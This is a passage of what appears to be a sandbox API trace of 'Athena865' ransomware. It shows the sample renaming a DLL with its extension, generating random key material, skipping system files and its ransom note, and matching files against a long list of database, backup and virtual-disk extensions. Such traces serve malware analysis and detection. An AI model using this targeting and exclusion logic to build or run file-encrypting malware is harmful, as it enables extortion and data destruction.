Edition\\v3.5\\sqlceoledb35.dll.Athena865") returned 85 [0090.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceoledb35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceoledb35.dll"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceoledb35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceoledb35.dll.athena865"), dwFlags=0x1) returned 1 [0090.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceoledb35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceoledb35.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.246] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=260672) returned 1 [0090.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0090.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0090.246] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0090.247] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.247] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.247] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fd40, lpName=0x0) returned 0x154 [0090.250] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3fd40) returned 0x170000 [0090.275] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0090.276] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.276] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.277] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0090.279] CloseHandle (hObject=0x154) returned 1 [0090.279] CloseHandle (hObject=0x17c) returned 1 [0090.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0090.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0090.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.281] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlceqp35.dll", cAlternateFileName="SQLCEQ~1.DLL")) returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2=".") returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="..") returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="windows") returned -1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="bootmgr") returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="temp") returned -1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="pagefile.sys") returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="boot") returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="ids.txt") returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="ntuser.dat") returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="perflogs") returned 1 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2="MSBuild") returned 1 [0090.281] lstrlenW (lpString="sqlceqp35.dll") returned 13 [0090.281] lstrcpyW (in: lpString1=0x241e8be, lpString2="sqlceqp35.dll" | out: lpString1="sqlceqp35.dll") returned="sqlceqp35.dll" [0090.281] lstrlenW (lpString="sqlceqp35.dll") returned 13 [0090.281] lstrlenW (lpString="Athena865") returned 9 [0090.281] lstrcmpiW (lpString1="eqp35.dll", lpString2="Athena865") returned 1 [0090.281] lstrlenW (lpString=".dll") returned 4 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2=".dll") returned 1 [0090.281] lstrlenW (lpString=".lnk") returned 4 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2=".lnk") returned 1 [0090.281] lstrlenW (lpString=".ini") returned 4 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2=".ini") returned 1 [0090.281] lstrlenW (lpString=".sys") returned 4 [0090.281] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2=".sys") returned 1 [0090.281] lstrlenW (lpString="sqlceqp35.dll") returned 13 [0090.281] lstrlenW (lpString="bak") returned 3 [0090.281] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0090.282] lstrlenW (lpString="ba_") returned 3 [0090.282] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0090.282] lstrlenW (lpString="dbb") returned 3 [0090.282] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0090.282] lstrlenW (lpString="vmdk") returned 4 [0090.282] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0090.282] lstrlenW (lpString="rar") returned 3 [0090.282] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0090.282] lstrlenW (lpString="zip") returned 3 [0090.282] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0090.282] lstrlenW (lpString="tgz") returned 3 [0090.282] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0090.282] lstrlenW (lpString="vbox") returned 4 [0090.282] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0090.282] lstrlenW (lpString="vdi") returned 3 [0090.282] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0090.282] lstrlenW (lpString="vhd") returned 3 [0090.282] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0090.282] lstrlenW (lpString="vhdx") returned 4 [0090.282] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0090.282] lstrlenW (lpString="avhd") returned 4 [0090.282] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0090.282] lstrlenW (lpString="db") returned 2 [0090.282] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0090.282] lstrlenW (lpString="db2") returned 3 [0090.282] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0090.282] lstrlenW (lpString="db3") returned 3 [0090.282] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0090.282] lstrlenW (lpString="dbf") returned 3 [0090.282] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0090.282] lstrlenW (lpString="mdf") returned 3 [0090.283] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0090.283] lstrlenW (lpString="mdb") returned 3 [0090.283] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0090.283] lstrlenW (lpString="sql") returned 3 [0090.283] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0090.283] lstrlenW (lpString="sqlite") returned 6 [0090.283] lstrcmpiW (lpString1="35.dll", lpString2="sqlite") returned -1 [0090.283] lstrlenW (lpString="sqlite3") returned 7 [0090.283] lstrcmpiW (lpString1="p35.dll", lpString2="sqlite3") returned -1 [0090.283] lstrlenW (lpString="sqlitedb") returned 8 [0090.283] lstrcmpiW (lpString1="qp35.dll", lpString2="sqlitedb") returned -1 [0090.283] lstrlenW (lpString="xml") returned 3 [0090.283] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0090.283] lstrlenW (lpString="$er") returned 3 [0090.283] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0090.283] lstrlenW (lpString="4dd") returned 3 [0090.283] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0090.283] lstrlenW (lpString="4dl") returned 3 [0090.283] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0090.283] lstrlenW (lpString="^^^") returned 3 [0090.283] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0090.283] lstrlenW (lpString="abs") returned 3 [0090.283] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0090.283] lstrlenW (lpString="abx") returned 3 [0090.283] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0090.283] lstrlenW (lpString="accdb") returned 5 [0090.283] lstrcmpiW (lpString1="5.dll", lpString2="accdb") returned -1 [0090.283] lstrlenW (lpString="accdc") returned 5 [0090.283] lstrcmpiW (lpString1="5.dll", lpString2="accdc") returned -1 [0090.283] lstrlenW (lpString="accde") returned 5 [0090.284] lstrcmpiW (lpString1="5.dll", lpString2="accde") returned -1 [0090.284] lstrlenW (lpString="accdr") returned 5 [0090.284] lstrcmpiW (lpString1="5.dll", lpString2="accdr") returned -1 [0090.284] lstrlenW (lpString="accdt") returned 5 [0090.284] lstrcmpiW (lpString1="5.dll", lpString2="accdt") returned -1 [0090.284] lstrlenW (lpString="accdw") returned 5 [0090.284] lstrcmpiW (lpString1="5.dll", lpString2="accdw") returned -1 [0090.284] lstrlenW (lpString="accft") returned 5 [0090.284] lstrcmpiW (lpString1="5.dll", lpString2="accft") returned -1 [0090.284] lstrlenW (lpString="adb") returned 3 [0090.284] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.284] lstrlenW (lpString="adb") returned 3 [0090.284] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.284] lstrlenW (lpString="ade") returned 3 [0090.284] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0090.284] lstrlenW (lpString="adf") returned 3 [0090.284] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0090.284] lstrlenW (lpString="adn") returned 3 [0090.284] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0090.284] lstrlenW (lpString="adp") returned 3 [0090.284] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0090.284] lstrlenW (lpString="alf") returned 3 [0090.284] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0090.284] lstrlenW (lpString="ask") returned 3 [0090.284] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0090.284] lstrlenW (lpString="btr") returned 3 [0090.284] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0090.284] lstrlenW (lpString="cat") returned 3 [0090.284] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0090.284] lstrlenW (lpString="cdb") returned 3 [0090.285] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0090.285] lstrlenW (lpString="ckp") returned 3 [0090.285] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0090.285] lstrlenW (lpString="cma") returned 3 [0090.285] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0090.285] lstrlenW (lpString="cpd") returned 3 [0090.285] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0090.285] lstrlenW (lpString="dacpac") returned 6 [0090.285] lstrcmpiW (lpString1="35.dll", lpString2="dacpac") returned -1 [0090.285] lstrlenW (lpString="dad") returned 3 [0090.285] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0090.285] lstrlenW (lpString="dadiagrams") returned 10 [0090.285] lstrcmpiW (lpString1="ceqp35.dll", lpString2="dadiagrams") returned -1 [0090.285] lstrlenW (lpString="daschema") returned 8 [0090.285] lstrcmpiW (lpString1="qp35.dll", lpString2="daschema") returned 1 [0090.285] lstrlenW (lpString="db-journal") returned 10 [0090.285] lstrcmpiW (lpString1="ceqp35.dll", lpString2="db-journal") returned -1 [0090.285] lstrlenW (lpString="db-shm") returned 6 [0090.285] lstrcmpiW (lpString1="35.dll", lpString2="db-shm") returned -1 [0090.285] lstrlenW (lpString="db-wal") returned 6 [0090.285] lstrcmpiW (lpString1="35.dll", lpString2="db-wal") returned -1 [0090.285] lstrlenW (lpString="dbc") returned 3 [0090.285] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0090.285] lstrlenW (lpString="dbs") returned 3 [0090.285] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0090.285] lstrlenW (lpString="dbt") returned 3 [0090.285] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0090.285] lstrlenW (lpString="dbv") returned 3 [0090.285] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0090.285] lstrlenW (lpString="dbx") returned 3 [0090.285] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0090.285] lstrlenW (lpString="dcb") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0090.286] lstrlenW (lpString="dct") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0090.286] lstrlenW (lpString="dcx") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0090.286] lstrlenW (lpString="ddl") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0090.286] lstrlenW (lpString="dlis") returned 4 [0090.286] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0090.286] lstrlenW (lpString="dp1") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0090.286] lstrlenW (lpString="dqy") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0090.286] lstrlenW (lpString="dsk") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0090.286] lstrlenW (lpString="dsn") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0090.286] lstrlenW (lpString="dtsx") returned 4 [0090.286] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0090.286] lstrlenW (lpString="dxl") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0090.286] lstrlenW (lpString="eco") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0090.286] lstrlenW (lpString="ecx") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0090.286] lstrlenW (lpString="edb") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0090.286] lstrlenW (lpString="epim") returned 4 [0090.286] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0090.286] lstrlenW (lpString="fcd") returned 3 [0090.286] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0090.287] lstrlenW (lpString="fdb") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0090.287] lstrlenW (lpString="fic") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0090.287] lstrlenW (lpString="flexolibrary") returned 12 [0090.287] lstrcmpiW (lpString1="qlceqp35.dll", lpString2="flexolibrary") returned 1 [0090.287] lstrlenW (lpString="fm5") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0090.287] lstrlenW (lpString="fmp") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0090.287] lstrlenW (lpString="fmp12") returned 5 [0090.287] lstrcmpiW (lpString1="5.dll", lpString2="fmp12") returned -1 [0090.287] lstrlenW (lpString="fmpsl") returned 5 [0090.287] lstrcmpiW (lpString1="5.dll", lpString2="fmpsl") returned -1 [0090.287] lstrlenW (lpString="fol") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0090.287] lstrlenW (lpString="fp3") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0090.287] lstrlenW (lpString="fp4") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0090.287] lstrlenW (lpString="fp5") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0090.287] lstrlenW (lpString="fp7") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0090.287] lstrlenW (lpString="fpt") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0090.287] lstrlenW (lpString="frm") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0090.287] lstrlenW (lpString="gdb") returned 3 [0090.287] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0090.288] lstrlenW (lpString="gdb") returned 3 [0090.288] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0090.288] lstrlenW (lpString="grdb") returned 4 [0090.288] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0090.288] lstrlenW (lpString="gwi") returned 3 [0090.288] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0090.288] lstrlenW (lpString="hdb") returned 3 [0090.288] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0090.288] lstrlenW (lpString="his") returned 3 [0090.288] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0090.288] lstrlenW (lpString="ib") returned 2 [0090.288] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0090.288] lstrlenW (lpString="idb") returned 3 [0090.288] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0090.288] lstrlenW (lpString="ihx") returned 3 [0090.288] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0090.288] lstrlenW (lpString="itdb") returned 4 [0090.288] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0090.288] lstrlenW (lpString="itw") returned 3 [0090.288] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0090.288] lstrlenW (lpString="jet") returned 3 [0090.288] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0090.288] lstrlenW (lpString="jtx") returned 3 [0090.288] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0090.288] lstrlenW (lpString="kdb") returned 3 [0090.288] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0090.288] lstrlenW (lpString="kexi") returned 4 [0090.288] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0090.288] lstrlenW (lpString="kexic") returned 5 [0090.288] lstrcmpiW (lpString1="5.dll", lpString2="kexic") returned -1 [0090.288] lstrlenW (lpString="kexis") returned 5 [0090.288] lstrcmpiW (lpString1="5.dll", lpString2="kexis") returned -1 [0090.289] lstrlenW (lpString="lgc") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0090.289] lstrlenW (lpString="lwx") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0090.289] lstrlenW (lpString="maf") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0090.289] lstrlenW (lpString="maq") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0090.289] lstrlenW (lpString="mar") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0090.289] lstrlenW (lpString="marshal") returned 7 [0090.289] lstrcmpiW (lpString1="p35.dll", lpString2="marshal") returned 1 [0090.289] lstrlenW (lpString="mas") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0090.289] lstrlenW (lpString="mav") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0090.289] lstrlenW (lpString="maw") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0090.289] lstrlenW (lpString="mdbhtml") returned 7 [0090.289] lstrcmpiW (lpString1="p35.dll", lpString2="mdbhtml") returned 1 [0090.289] lstrlenW (lpString="mdn") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0090.289] lstrlenW (lpString="mdt") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0090.289] lstrlenW (lpString="mfd") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0090.289] lstrlenW (lpString="mpd") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0090.289] lstrlenW (lpString="mrg") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0090.289] lstrlenW (lpString="mud") returned 3 [0090.289] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0090.290] lstrlenW (lpString="mwb") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0090.290] lstrlenW (lpString="myd") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0090.290] lstrlenW (lpString="ndf") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0090.290] lstrlenW (lpString="nnt") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0090.290] lstrlenW (lpString="nrmlib") returned 6 [0090.290] lstrcmpiW (lpString1="35.dll", lpString2="nrmlib") returned -1 [0090.290] lstrlenW (lpString="ns2") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0090.290] lstrlenW (lpString="ns3") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0090.290] lstrlenW (lpString="ns4") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0090.290] lstrlenW (lpString="nsf") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0090.290] lstrlenW (lpString="nv") returned 2 [0090.290] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0090.290] lstrlenW (lpString="nv2") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0090.290] lstrlenW (lpString="nwdb") returned 4 [0090.290] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0090.290] lstrlenW (lpString="nyf") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0090.290] lstrlenW (lpString="odb") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0090.290] lstrlenW (lpString="odb") returned 3 [0090.290] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0090.290] lstrlenW (lpString="oqy") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0090.291] lstrlenW (lpString="ora") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0090.291] lstrlenW (lpString="orx") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0090.291] lstrlenW (lpString="owc") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0090.291] lstrlenW (lpString="p96") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0090.291] lstrlenW (lpString="p97") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0090.291] lstrlenW (lpString="pan") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0090.291] lstrlenW (lpString="pdb") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0090.291] lstrlenW (lpString="pdm") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0090.291] lstrlenW (lpString="pnz") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0090.291] lstrlenW (lpString="qry") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0090.291] lstrlenW (lpString="qvd") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0090.291] lstrlenW (lpString="rbf") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0090.291] lstrlenW (lpString="rctd") returned 4 [0090.291] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0090.291] lstrlenW (lpString="rod") returned 3 [0090.291] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0090.291] lstrlenW (lpString="rodx") returned 4 [0090.292] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0090.292] lstrlenW (lpString="rpd") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0090.292] lstrlenW (lpString="rsd") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0090.292] lstrlenW (lpString="sas7bdat") returned 8 [0090.292] lstrcmpiW (lpString1="qp35.dll", lpString2="sas7bdat") returned -1 [0090.292] lstrlenW (lpString="sbf") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0090.292] lstrlenW (lpString="scx") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0090.292] lstrlenW (lpString="sdb") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0090.292] lstrlenW (lpString="sdc") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0090.292] lstrlenW (lpString="sdf") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0090.292] lstrlenW (lpString="sis") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0090.292] lstrlenW (lpString="spq") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0090.292] lstrlenW (lpString="te") returned 2 [0090.292] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0090.292] lstrlenW (lpString="teacher") returned 7 [0090.292] lstrcmpiW (lpString1="p35.dll", lpString2="teacher") returned -1 [0090.292] lstrlenW (lpString="tmd") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0090.292] lstrlenW (lpString="tps") returned 3 [0090.292] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0090.292] lstrlenW (lpString="trc") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0090.293] lstrlenW (lpString="trc") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0090.293] lstrlenW (lpString="trm") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0090.293] lstrlenW (lpString="udb") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0090.293] lstrlenW (lpString="udl") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0090.293] lstrlenW (lpString="usr") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0090.293] lstrlenW (lpString="v12") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0090.293] lstrlenW (lpString="vis") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0090.293] lstrlenW (lpString="vpd") returned 3 [0090.293] 